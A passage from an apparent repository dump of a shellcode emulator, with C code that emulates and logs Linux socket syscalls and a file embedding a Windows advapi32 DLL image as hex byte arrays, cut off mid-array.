returnvalue);\n\t\t\t}\n\t\t\t\n\t\t\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\t\t}\n\n\n\t\tbreak;\n\n\tcase 3:\t// SYS_CONNECT \n\t\t{\n\n\t\t\tprintf(\"connect\\n\");\n\n\t\t\tstruct sockaddr sa;\n\t\t\tmemset(&sa, 0, sizeof(struct sockaddr));\n\t\t\temu_memory_read_block(emu_memory_get(c->emu), a[1], &sa, sizeof(struct sockaddr));\n\n\n\t\t\tif (hook->hook.lin->userhook != NULL)\n\t\t\t\treturnvalue = hook->hook.lin->userhook(env, hook, a[0], &sa,  a[2]);\n\t\t\telse\n\t\t\t\treturnvalue = 0;\n\n\t\t\tif (env->profile != NULL)\n\t\t\t{\n\t\t\t\temu_profile_function_add(env->profile, \"connect\");\n\t\t\t\temu_profile_argument_add_int(env->profile, \"int\", \"sockfd\", a[0]);\n\t\t\t\temu_profile_argument_add_sockaddr_ptr(env->profile, \"serv_addr\", a[1], sa);\n\t\t\t\temu_profile_argument_add_int(env->profile, \"int\", \"addrlen\", a[2]);\n\t\t\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", returnvalue);\n\t\t\t}\n\n\t\t\temu_cpu_reg32_set(c, eax, returnvalue);\n\t\t}\n\t\tbreak;\n\n\tcase 4:\t// SYS_LISTEN \n\t\tprintf(\"int listen(int s=%i, int backlog=%i);\\n\", \n\t\t\t   a[0], \n\t\t\t   a[1]);\n\n\t\tif (hook->hook.lin->userhook != NULL)\n\t\t\treturnvalue = hook->hook.lin->userhook(env, hook, a[0], a[1]);\n\t\telse\n\t\t\treturnvalue = 0;\n\n\t\tif (env->profile != NULL)\n\t\t{\n\t\t\temu_profile_function_add(env->profile, \"listen\");\n\t\t\temu_profile_argument_add_int(env->profile, \"int\", \"s\", a[0]);\n\t\t\temu_profile_argument_add_int(env->profile, \"int\", \"backlog\", a[1]);\n\t\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", returnvalue);\n\t\t}\n\t\t\n\t\temu_cpu_reg32_set(c, eax, returnvalue);\n\n\t\tbreak;\n\n\tcase 5:\t// SYS_ACCEPT \n\t\tprintf(\"int accept(int s=%i, struct sockaddr *addr=%08x, int *addrlen=%08x);\\n\",\n\t\t\t   a[0],\n\t\t\t   a[1],\n\t\t\t   a[2]);\n\n\n\t\tstruct sockaddr sa;\n\t\tmemset(&sa, 0, sizeof(struct sockaddr));\n\t\temu_memory_read_block(emu_memory_get(c->emu), a[1], &sa, sizeof(struct sockaddr));\n\n\n\t\tif (hook->hook.lin->userhook != NULL)\n\t\t\treturnvalue = hook->hook.lin->userhook(env, hook, a[0], &sa, a[2]);\n\t\telse\n\t\t\treturnvalue = 19;\n\n\n\t\tif (env->profile != NULL)\n\t\t{\n\t\t\temu_profile_function_add(env->profile, \"accept\");\n\t\t\temu_profile_argument_add_int(env->profile, \"int\", \"sockfd\", a[0]);\n\n\t\t\temu_profile_argument_add_ptr(env->profile, \"sockaddr_in *\", \"addr\", a[1]);\n\t\t\temu_profile_argument_add_none(env->profile);\n\n\t\t\temu_profile_argument_add_ptr(env->profile, \"int\", \"addrlen\", a[2]);\n\t\t\temu_profile_argument_add_none(env->profile);\n\t\t\n\t\t\temu_profile_function_returnvalue_int_set(env->profile, \"int\", returnvalue);\n\t\t}\n\t\temu_cpu_reg32_set(c, eax, returnvalue);\n\t\tbreak;\n\n\tcase 6:\t// SYS_GETSOCKNAME \n\t\tprintf(\"sys_getsockname(2)\\n\");\n\t\tbreak;\n\n\tcase 7:\t// SYS_GETPEERNAME \n\t\tprintf(\"sys_getpeername(2)\\n\");\n\t\tbreak;\n\n\tcase 8:\t// SYS_SOCKETPAIR \n\t\tprintf(\"sys_socketpair(2)\\n\");\n\t\tbreak;\n\n\tcase 9:\t// SYS_SEND \n\t\tprintf(\"sys_send(2)\\n\");\n\t\tbreak;\n\n\tcase 10: // SYS_RECV \n\t\tprintf(\"sys_recv(2)\\n\");\n\t\tbreak;\n\n\tcase 11: // SYS_SENDTO \n\t\tprintf(\"sys_sendto(2)\\n\");\n\t\tbreak;\n\n\tcase 12: // SYS_RECVFROM \n\t\tprintf(\"sys_recvfrom(2)\\n\");\n\t\tbreak;\n\n\tcase 13: // SYS_SHUTDOWN \n\t\tprintf(\"sys_shutdown(2)\\n\");\n\t\tbreak;\n\n\tcase 14: // SYS_SETSOCKOPT \n\t\tprintf(\"sys_setsockopt(2)\\n\");\n\t\tbreak;\n\n\tcase 15: // SYS_GETSOCKOPT \n\t\tprintf(\"sys_getsockopt(2)\\n\");\n\t\tbreak;\n\n\tcase 16: // SYS_SENDMSG \n\t\tprintf(\"sys_sendmsg(2)\\n\");\n\t\tbreak;\n\n\tcase 17: // SYS_RECVMSG \n\t\tprintf(\"sys_recvmsg(2)\\n\");\n\t\tbreak;\n\n\tdefault:\n\t\tprintf(\"syscall %i (%x) unknown\",  c->reg[ebx], c->reg[ebx]);\n\t}\n\n\treturn 0;\n}\n\n\n"
  },
  {
    "path": "src/environment/win32/dlls/advapi32dll.c",
    "content": "const char advapi32_77DD0000[] =\n/* 000000 */   \"\\x4D\\x5A\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\"   //MZ..........ÿÿ..\n/* 000020 */   \"\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //........@.......\n/* 000040 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000060 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF0\\x00\\x00\\x00\"   //............ð...\n/* 000080 */   \"\\x0E\\x1F\\xBA\\x0E\\x00\\xB4\\x09\\xCD\\x21\\xB8\\x01\\x4C\\xCD\\x21\\x54\\x68\"   //.......Í!..LÍ!Th\n/* 0000A0 */   \"\\x69\\x73\\x20\\x70\\x72\\x6F\\x67\\x72\\x61\\x6D\\x20\\x63\\x61\\x6E\\x6E\\x6F\"   //is.program.canno\n/* 0000C0 */   \"\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6E\\x20\\x69\\x6E\\x20\\x44\\x4F\\x53\\x20\"   //t.be.run.in.DOS.\n/* 0000E0 */   \"\\x6D\\x6F\\x64\\x65\\x2E\\x0D\\x0D\\x0A\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //mode....$.......\n/* 000100 */   \"\\xA8\\x6A\\xE2\\x68\\xEC\\x0B\\x8C\\x3B\\xEC\\x0B\\x8C\\x3B\\xEC\\x0B\\x8C\\x3B\"   //.jâhì..;ì..;ì..;\n/* 000120 */   \"\\x2F\\x04\\xD1\\x3B\\xEB\\x0B\\x8C\\x3B\\x2F\\x04\\x83\\x3B\\xE1\\x0B\\x8C\\x3B\"   ///.Ñ;ë..;/..;á..;\n/* 000140 */   \"\\x3D\\x07\\xD3\\x3B\\xEE\\x0B\\x8C\\x3B\\xEC\\x0B\\x8D\\x3B\\x54\\x0A\\x8C\\x3B\"   //=.Ó;î..;ì..;T..;\n/* 000160 */   \"\\x2F\\x04\\xD0\\x3B\\xED\\x0B\\x8C\\x3B\\x2F\\x04\\xD2\\x3B\\xED\\x0B\\x8C\\x3B\"   ///.Ð;í..;/.Ò;í..;\n/* 000180 */   \"\\x2F\\x04\\xEC\\x3B\\xF1\\x0B\\x8C\\x3B\\x2F\\x04\\xD3\\x3B\\x7E\\x0B\\x8C\\x3B\"   ///.ì;ñ..;/.Ó;~..;\n/* 0001A0 */   \"\\x2F\\x04\\xD6\\x3B\\xED\\x0B\\x8C\\x3B\\x52\\x69\\x63\\x68\\xEC\\x0B\\x8C\\x3B\"   ///.Ö;í..;Richì..;\n/* 0001C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 0001E0 */   \"\\x50\\x45\\x00\\x00\\x4C\\x01\\x04\\x00\\x48\\x1D\\x90\\x49\\x5B\\x4C\\x6F\\x72\"   //PE..L...H..I[Lor\n/* 000200 */   \"\\x64\\x50\\x45\\x5D\\xE0\\x00\\x0E\\x21\\x0B\\x01\\x07\\x0A\\x00\\x46\\x07\\x00\"   //dPE]à..!.....F..\n/* 000220 */   \"\\x00\\x3E\\x02\\x00\\x00\\x00\\x00\\x00\\x0B\\x71\\x00\\x00\\x00\\x10\\x00\\x00\"   //.>.......q......\n/* 000240 */   \"\\x00\\x20\\x07\\x00\\x00\\x00\\xDD\\x77\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\"   //......Ýw........\n/* 000260 */   \"\\x05\\x00\\x01\\x00\\x05\\x00\\x01\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000280 */   \"\\x00\\xB0\\x09\\x00\\x00\\x10\\x00\\x00\\xB8\\x5B\\x0A\\x00\\x03\\x00\\x00\\x00\"   //.........[......\n/* 0002A0 */   \"\\x00\\x00\\x04\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00\"   //................\n/* 0002C0 */   \"\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xA4\\x16\\x00\\x00\\x52\\x52\\x00\\x00\"   //............RR..\n/* 0002E0 */   \"\\x24\\x2B\\x07\\x00\\x50\\x00\\x00\\x00\\x00\\xB0\\x07\\x00\\x80\\xA9\\x01\\x00\"   //$+..P...........\n/* 000300 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000320 */   \"\\x00\\x60\\x09\\x00\\xF8\\x4A\\x00\\x00\\x68\\x55\\x07\\x00\\x38\\x00\\x00\\x00\"   //.`..øJ..hU..8...\n/* 000340 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000360 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x28\\x17\\x02\\x00\\x40\\x00\\x00\\x00\"   //........(...@...\n/* 000380 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\xA4\\x06\\x00\\x00\"   //................\n/* 0003A0 */   \"\\xC8\\x29\\x07\\x00\\x60\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //È)..`...........\n/* 0003C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2E\\x74\\x65\\x78\\x74\\x00\\x00\\x00\"   //.........text...\n/* 0003E0 */   \"\\xC9\\x45\\x07\\x00\\x00\\x10\\x00\\x00\\xC9\\x45\\x07\\x00\\x00\\x10\\x00\\x00\"   //ÉE......ÉE......\n/* 000400 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x60\"   //...............`\n/* 000420 */   \"\\x2E\\x64\\x61\\x74\\x61\\x00\\x00\\x00\\x28\\x46\\x00\\x00\\x00\\x60\\x07\\x00\"   //.data...(F...`..\n/* 000440 */   \"\\x28\\x46\\x00\\x00\\x00\\x60\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //(F...`..........\n/* 000460 */   \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\xC0\\x2E\\x72\\x73\\x72\\x63\\x00\\x00\\x00\"   //....@..À.rsrc...\n/* 000480 */   \"\\x80\\xA9\\x01\\x00\\x00\\xB0\\x07\\x00\\x80\\xA9\\x01\\x00\\x00\\xB0\\x07\\x00\"   //................\n/* 0004A0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x40\"   //............@..@\n/* 0004C0 */   \"\\x2E\\x72\\x65\\x6C\\x6F\\x63\\x00\\x00\\xF8\\x4A\\x00\\x00\\x00\\x60\\x09\\x00\"   //.reloc..øJ...`..\n/* 0004E0 */   \"\\xF8\\x4A\\x00\\x00\\x00\\x60\\x09\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //øJ...`..........\n/* 000500 */   \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x42\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //....@..B........\n/* 000520 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000540 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000560 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000580 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 0005A0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 0005C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 0005E0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000600 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000620 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000640 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n;\n\nconst char advapi32_77dd16A4[] =\n/* 000000 */   \"\\x00\\x00\\x00\\x00\\xB0\\x18\\x8C\\x49\\x00\\x00\\x00\\x00\\x3E\\x31\\x00\\x00\"   //.......I....>1..\n/* 000020 */   \"\\x01\\x00\\x00\\x00\\xA5\\x02\\x00\\x00\\xA5\\x02\\x00\\x00\\xCC\\x16\\x00\\x00\"   //............Ì...\n/* 000040 */   \"\\x60\\x21\\x00\\x00\\xF4\\x2B\\x00\\x00\\x24\\x69\\x06\\x00\\x2D\\xB2\\x02\\x00\"   //`!..ô+..$i..-...\n/* 000060 */   \"\\x7D\\xB1\\x02\\x00\\xD1\\xB1\\x02\\x00\\xB8\\x4E\\x06\\x00\\x5B\\xD4\\x02\\x00\"   //}...Ñ....N..[Ô..\n/* 000080 */   \"\\xA0\\x73\\x00\\x00\\x49\\xCE\\x03\\x00\\x6C\\xBC\\x02\\x00\\xC9\\xF1\\x00\\x00\"   //.s..IÎ..l...Éñ..\n/* 0000A0 */   \"\\x2F\\xCF\\x03\\x00\\x37\\xCC\\x03\\x00\\x61\\xCB\\x03\\x00\\x24\\xD0\\x03\\x00\"   ///Ï..7Ì..aË..$Ð..\n/* 0000C0 */   \"\\x19\\xD1\\x03\\x00\\x94\\xCD\\x03\\x00\\xE2\\xCC\\x03\\x00\\x31\\x7D\\x00\\x00\"   //.Ñ...Í..âÌ..1}..\n/* 0000E0 */   \"\\xD8\\x2E\\x01\\x00\\x0C\\xD4\\x03\\x00\\x4F\\x81\\x02\\x00\\x3F\\xD3\\x03\\x00\"   //Ø....Ô..O...?Ó..\n/* 000100 */   \"\\x5A\\xD4\\x03\\x00\\xA3\\x7E\\x02\\x00\\x87\\xD3\\x03\\x00\\xBE\\xD3\\x03\\x00\"   //ZÔ...~...Ó...Ó..\n/* 000120 */   \"\\xA8\\xD4\\x03\\x00\\x83\\x35\\x04\\x00\\x00\\xCC\\x03\\x00\\x0C\\xF0\\x00\\x00\"   //.Ô...5...Ì...ð..\n/* 000140 */   \"\\xC9\\x7C\\x00\\x00\\x8C\\x74\\x00\\x00\\x7B\\xBD\\x02\\x00\\x7D\\xD2\\x02\\x00\"   //É|...t..{...}Ò..\n/* 000160 */   \"\\xE0\\xC8\\x03\\x00\\x84\\xC3\\x03\\x00\\x74\\x23\\x05\\x00\\x74\\x23\\x05\\x00\"   //àÈ...Ã..t#..t#..\n/* 000180 */   \"\\xA4\\x23\\x05\\x00\\xA4\\x23\\x05\\x00\\xFE\\x24\\x05\\x00\\xFE\\x24\\x05\\x00\"   //.#...#..þ$..þ$..\n/* 0001A0 */   \"\\xE0\\x1E\\x05\\x00\\xA5\\x1C\\x05\\x00\\xD6\\x24\\x05\\x00\\xD6\\x24\\x05\\x00\"   //à.......Ö$..Ö$..\n/* 0001C0 */   \"\\xDA\\x25\\x05\\x00\\xDA\\x25\\x05\\x00\\x3F\\x25\\x05\\x00\\x3F\\x25\\x05\\x00\"   //Ú%..Ú%..?%..?%..\n/* 0001E0 */   \"\\x1B\\x25\\x05\\x00\\x1B\\x25\\x05\\x00\\x09\\x37\\x05\\x00\\x01\\x71\\x06\\x00\"   //.%...%...7...q..\n/* 000200 */   \"\\x89\\x71\\x06\\x00\\x69\\x6E\\x06\\x00\\x01\\x70\\x06\\x00\\xCA\\x7F\\x00\\x00\"   //.q..in...p..Ê...\n/* 000220 */   \"\\x77\\xC8\\x03\\x00\\x65\\xC2\\x03\\x00\\x98\\xAF\\x00\\x00\\x9C\\x34\\x04\\x00\"   //wÈ..eÂ.......4..\n/* 000240 */   \"\\xBD\\x54\\x02\\x00\\xE5\\x6C\\x01\\x00\\xD0\\x6D\\x05\\x00\\x16\\xBE\\x02\\x00\"   //.T..ål..Ðm......\n/* 000260 */   \"\\x3D\\xAB\\x00\\x00\\x09\\x4A\\x02\\x00\\x29\\xA0\\x05\\x00\\xED\\xCC\\x02\\x00\"   //=....J..)...íÌ..\n/* 000280 */   \"\\x01\\x2E\\x05\\x00\\xC5\\x2D\\x05\\x00\\x5A\\x4B\\x04\\x00\\x76\\x49\\x04\\x00\"   //....Å-..ZK..vI..\n/* 0002A0 */   \"\\xDF\\x30\\x05\\x00\\xDF\\x30\\x05\\x00\\xBA\\x30\\x05\\x00\\xBA\\x30\\x05\\x00\"   //ß0..ß0...0...0..\n/* 0002C0 */   \"\\xCC\\x4D\\x04\\x00\\x45\\x4A\\x04\\x00\\x8D\\xC1\\x02\\x00\\x0F\\xF1\\x00\\x00\"   //ÌM..EJ...Á...ñ..\n/* 0002E0 */   \"\\x38\\x4C\\x04\\x00\\xCE\\x49\\x04\\x00\\xDC\\x4A\\x04\\x00\\x23\\x49\\x04\\x00\"   //8L..ÎI..ÜJ..#I..\n/* 000300 */   \"\\x51\\x4D\\x04\\x00\\x06\\x2F\\x01\\x00\\xDC\\x4C\\x04\\x00\\x57\\x44\\x02\\x00\"   //QM.../..ÜL..WD..\n/* 000320 */   \"\\xA8\\xD5\\x03\\x00\\xE7\\xF0\\x00\\x00\\xC5\\xE9\\x04\\x00\\x71\\xD5\\x03\\x00\"   //.Õ..çð..Åé..qÕ..\n/* 000340 */   \"\\x2E\\x4F\\x01\\x00\\xDE\\xD5\\x03\\x00\\xE8\\x0C\\x04\\x00\\xDD\\x0A\\x04\\x00\"   //.O..ÞÕ..è...Ý...\n/* 000360 */   \"\\xA9\\xA8\\x01\\x00\\xFD\\x5F\\x04\\x00\\x8C\\xDC\\x03\\x00\\x11\\x72\\x06\\x00\"   //....ý_...Ü...r..\n/* 000380 */   \"\\xA9\\x73\\x06\\x00\\xCB\\xAD\\x05\\x00\\x9D\\x51\\x02\\x00\\x09\\x85\\x04\\x00\"   //.s..Ë....Q......\n/* 0003A0 */   \"\\xB1\\x85\\x04\\x00\\xA9\\x7F\\x04\\x00\\x99\\x80\\x04\\x00\\x8D\\xDF\\x01\\x00\"   //.............ß..\n/* 0003C0 */   \"\\xA9\\x89\\x04\\x00\\x09\\x88\\x04\\x00\\xD9\\x88\\x04\\x00\\x80\\x8F\\x04\\x00\"   //........Ù.......\n/* 0003E0 */   \"\\x9E\\x8E\\x04\\x00\\xCC\\x8E\\x04\\x00\\xC6\\x8D\\x04\\x00\\xF5\\xE0\\x01\\x00\"   //....Ì...Æ...õà..\n/* 000400 */   \"\\xF9\\x7D\\x04\\x00\\x29\\x83\\x04\\x00\\x19\\x84\\x04\\x00\\xD1\\x7E\\x04\\x00\"   //ù}..).......Ñ~..\n/* 000420 */   \"\\x59\\x86\\x04\\x00\\x31\\x87\\x04\\x00\\x17\\x8F\\x04\\x00\\xDE\\x6E\\x02\\x00\"   //Y...1.......Þn..\n/* 000440 */   \"\\xB9\\x7C\\x04\\x00\\x89\\x81\\x04\\x00\\x59\\x82\\x04\\x00\\x59\\x7D\\x04\\x00\"   //.|......Y...Y}..\n/* 000460 */   \"\\x2D\\x78\\x04\\x00\\xD1\\x78\\x04\\x00\\x60\\x73\\x04\\x00\\xF8\\x72\\x04\\x00\"   //-x..Ñx..`s..ør..\n/* 000480 */   \"\\x3D\\x79\\x01\\x00\\x99\\x7F\\x01\\x00\\x70\\x10\\x04\\x00\\x71\\x9C\\x01\\x00\"   //=y......p...q...\n/* 0004A0 */   \"\\x29\\xA1\\x01\\x00\\xFD\\x9F\\x01\\x00\\xCC\\x9B\\x01\\x00\\xBC\\x9E\\x01\\x00\"   //)...ý...Ì.......\n/* 0004C0 */   \"\\xF9\\x1C\\x04\\x00\\x39\\x19\\x04\\x00\\x60\\xE3\\x01\\x00\\x01\\x12\\x04\\x00\"   //ù...9...`ã......\n/* 0004E0 */   \"\\xA1\\x29\\x04\\x00\\x61\\x14\\x04\\x00\\x09\\x2B\\x04\\x00\\xF9\\x1B\\x04\\x00\"   //.)..a....+..ù...\n/* 000500 */   \"\\x49\\x18\\x04\\x00\\xF4\\xB3\\x02\\x00\\xE1\\x26\\x04\\x00\\x89\\x2D\\x04\\x00\"   //I...ô...á&...-..\n/* 000520 */   \"\\xB4\\x9D\\x01\\x00\\x98\\x12\\x02\\x00\\x39\\x13\\x02\\x00\\x21\\x1B\\x04\\x00\"   //........9...!...\n/* 000540 */   \"\\x9E\\x9A\\x01\\x00\\x21\\x1E\\x04\\x00\\xF1\\xA1\\x01\\x00\\xEE\\x7E\\x01\\x00\"   //....!...ñ...î~..\n/* 000560 */   \"\\x91\\x20\\x04\\x00\\x51\\x1A\\x04\\x00\\xF1\\x10\\x04\\x00\\x61\\x21\\x04\\x00\"   //....Q...ñ...a!..\n/* 000580 */   \"\\x29\\x23\\x04\\x00\\xF1\\x2C\\x04\\x00\\x61\\x2C\\x04\\x00\\xE1\\x1F\\x04\\x00\"   //)#..ñ,..a,..á...\n/* 0005A0 */   \"\\xD1\\x1F\\x04\\x00\\x41\\xC8\\x02\\x00\\x22\\x35\\x02\\x00\\x41\\x37\\x04\\x00\"   //Ñ...AÈ..\"5..A7..\n/* 0005C0 */   \"\\xCF\\x33\\x04\\x00\\x9A\\xD2\\x02\\x00\\xB1\\x74\\x06\\x00\\xD3\\x79\\x02\\x00\"   //Ï3...Ò...t..Óy..\n/* 0005E0 */   \"\\x0C\\x4F\\x01\\x00\\xEA\\x35\\x04\\x00\\x11\\x82\\x00\\x00\\x9E\\x81\\x00\\x00\"   //.O..ê5..........\n/* 000600 */   \"\\xE1\\x8A\\x06\\x00\\x99\\x88\\x06\\x00\\x26\\x87\\x06\\x00\\x79\\x8A\\x06\\x00\"   //á.......&...y...\n/* 000620 */   \"\\x31\\x88\\x06\\x00\\xDE\\x54\\x02\\x00\\xF4\\x79\\x02\\x00\\x81\\x8B\\x06\\x00\"   //1...ÞT..ôy......\n/* 000640 */   \"\\xAF\\x5D\\x02\\x00\\x44\\x5E\\x02\\x00\\xE1\\x89\\x06\\x00\\x99\\x87\\x06\\x00\"   //.]..D^..á.......\n/* 000660 */   \"\\xF7\\x5E\\x02\\x00\\xCF\\x10\\x02\\x00\\xD7\\x5C\\x02\\x00\\x39\\x89\\x06\\x00\"   //÷^..Ï...×\\..9...\n/* 000680 */   \"\\xA7\\x7B\\x02\\x00\\x83\\x80\\x02\\x00\\xD5\\x7D\\x02\\x00\\xA5\\x37\\x02\\x00\"   //.{......Õ}...7..\n/* 0006A0 */   \"\\xD5\\xA5\\x05\\x00\\xAC\\x36\\x04\\x00\\x90\\x33\\x04\\x00\\x51\\x36\\x04\\x00\"   //Õ....6...3..Q6..\n/* 0006C0 */   \"\\x25\\x36\\x04\\x00\\x29\\x75\\x06\\x00\\xE1\\x75\\x06\\x00\\x89\\x6A\\x06\\x00\"   //%6..)u..áu...j..\n/* 0006E0 */   \"\\x47\\x6B\\x02\\x00\\x2F\\x6C\\x06\\x00\\xB8\\x69\\x06\\x00\\x61\\x7D\\x06\\x00\"   //Gk../l...i..a}..\n/* 000700 */   \"\\x81\\xAE\\x05\\x00\\x09\\xDF\\x03\\x00\\xE9\\xD2\\x03\\x00\\x7A\\xF0\\x00\\x00\"   //.....ß..éÒ..zð..\n/* 000720 */   \"\\xD9\\x37\\x04\\x00\\x12\\x34\\x04\\x00\\xFC\\xD4\\x03\\x00\\xBB\\xB0\\x05\\x00\"   //Ù7...4..üÔ......\n/* 000740 */   \"\\xDC\\xB0\\x05\\x00\\x8C\\x36\\x04\\x00\\xED\\x34\\x04\\x00\\xB2\\x24\\x05\\x00\"   //Ü....6..í4...$..\n/* 000760 */   \"\\xB8\\x7C\\x00\\x00\\x69\\x38\\x05\\x00\\x81\\x37\\x05\\x00\\x33\\x4C\\x01\\x00\"   //.|..i8...7..3L..\n/* 000780 */   \"\\x78\\x7E\\x02\\x00\\x5F\\x1C\\x05\\x00\\x0E\\x1C\\x05\\x00\\x61\\xCA\\x03\\x00\"   //x~.._.......aÊ..\n/* 0007A0 */   \"\\x75\\x0A\\x02\\x00\\x97\\x1B\\x05\\x00\\x37\\x1B\\x05\\x00\\xE8\\x0F\\x02\\x00\"   //u.......7...è...\n/* 0007C0 */   \"\\x01\\x1C\\x05\\x00\\xE3\\x1B\\x05\\x00\\x23\\xD7\\x03\\x00\\x03\\xC0\\x02\\x00\"   //....ã...#×...À..\n/* 0007E0 */   \"\\xF0\\xFC\\x01\\x00\\xDD\\x99\\x02\\x00\\xA7\\x24\\x05\\x00\\x6C\\x24\\x05\\x00\"   //ðü..Ý....$..l$..\n/* 000800 */   \"\\x65\\x4F\\x01\\x00\\x5C\\x7D\\x00\\x00\\x8B\\xD4\\x04\\x00\\x5A\\xD2\\x04\\x00\"   //eO..\\}...Ô..ZÒ..\n/* 000820 */   \"\\x67\\xD7\\x04\\x00\\xAF\\xD6\\x04\\x00\\x98\\x26\\x05\\x00\\x7C\\x26\\x05\\x00\"   //g×...Ö...&..|&..\n/* 000840 */   \"\\x7C\\x26\\x05\\x00\\x98\\x26\\x05\\x00\\xE4\\x18\\x05\\x00\\x81\\x28\\x05\\x00\"   //|&...&..ä....(..\n/* 000860 */   \"\\xB3\\x26\\x05\\x00\\xE6\\x4F\\x01\\x00\\x8B\\x5D\\x02\\x00\\x20\\x5E\\x02\\x00\"   //.&..æO...]...^..\n/* 000880 */   \"\\xF1\\x35\\x05\\x00\\x89\\xD6\\x03\\x00\\xB9\\x4B\\x01\\x00\\xE7\\x73\\x00\\x00\"   //ñ5...Ö...K..çs..\n/* 0008A0 */   \"\\x87\\x4B\\x01\\x00\\xBB\\x74\\x00\\x00\\x55\\x4B\\x01\\x00\\xE0\\xDD\\x03\\x00\"   //.K...t..UK..àÝ..\n/* 0008C0 */   \"\\x2C\\xD5\\x03\\x00\\x48\\x4E\\x02\\x00\\x32\\x2C\\x05\\x00\\x2F\\x2A\\x05\\x00\"   //,Õ..HN..2,../*..\n/* 0008E0 */   \"\\x99\\x76\\x06\\x00\\x39\\x77\\x06\\x00\\xD9\\x77\\x06\\x00\\x79\\x78\\x06\\x00\"   //.v..9w..Ùw..yx..\n/* 000900 */   \"\\x3B\\xF2\\x00\\x00\\x69\\x55\\x01\\x00\\x50\\x55\\x01\\x00\\x82\\x55\\x01\\x00\"   //;ò..iU..PU...U..\n/* 000920 */   \"\\x05\\x73\\x00\\x00\\x86\\xAD\\x05\\x00\\x41\\xAD\\x05\\x00\\x89\\xAC\\x05\\x00\"   //.s......A.......\n/* 000940 */   \"\\x5F\\x26\\x05\\x00\\x5F\\x26\\x05\\x00\\x2F\\x26\\x05\\x00\\x2F\\x26\\x05\\x00\"   //_&.._&../&../&..\n/* 000960 */   \"\\x43\\x26\\x05\\x00\\x43\\x26\\x05\\x00\\xC4\\x54\\x01\\x00\\x6D\\x49\\x01\\x00\"   //C&..C&..ÄT..mI..\n/* 000980 */   \"\\x21\\xDE\\x03\\x00\\xE8\\x11\\x02\\x00\\xA0\\x6E\\x02\\x00\\x2B\\x4F\\x02\\x00\"   //!Þ..è....n..+O..\n/* 0009A0 */   \"\\x69\\x6B\\x06\\x00\\x29\\xE4\\x01\\x00\\xC8\\x9E\\x00\\x00\\x5B\\x4C\\x01\\x00\"   //ik..)ä..È...[L..\n/* 0009C0 */   \"\\x49\\xDA\\x00\\x00\\x26\\x74\\x00\\x00\\xE0\\x4E\\x01\\x00\\x09\\x7D\\x00\\x00\"   //IÚ..&t..àN...}..\n/* 0009E0 */   \"\\xC6\\x79\\x00\\x00\\x8B\\x56\\x01\\x00\\x7F\\x4D\\x06\\x00\\x1A\\x4E\\x06\\x00\"   //Æy...V...M...N..\n/* 000A00 */   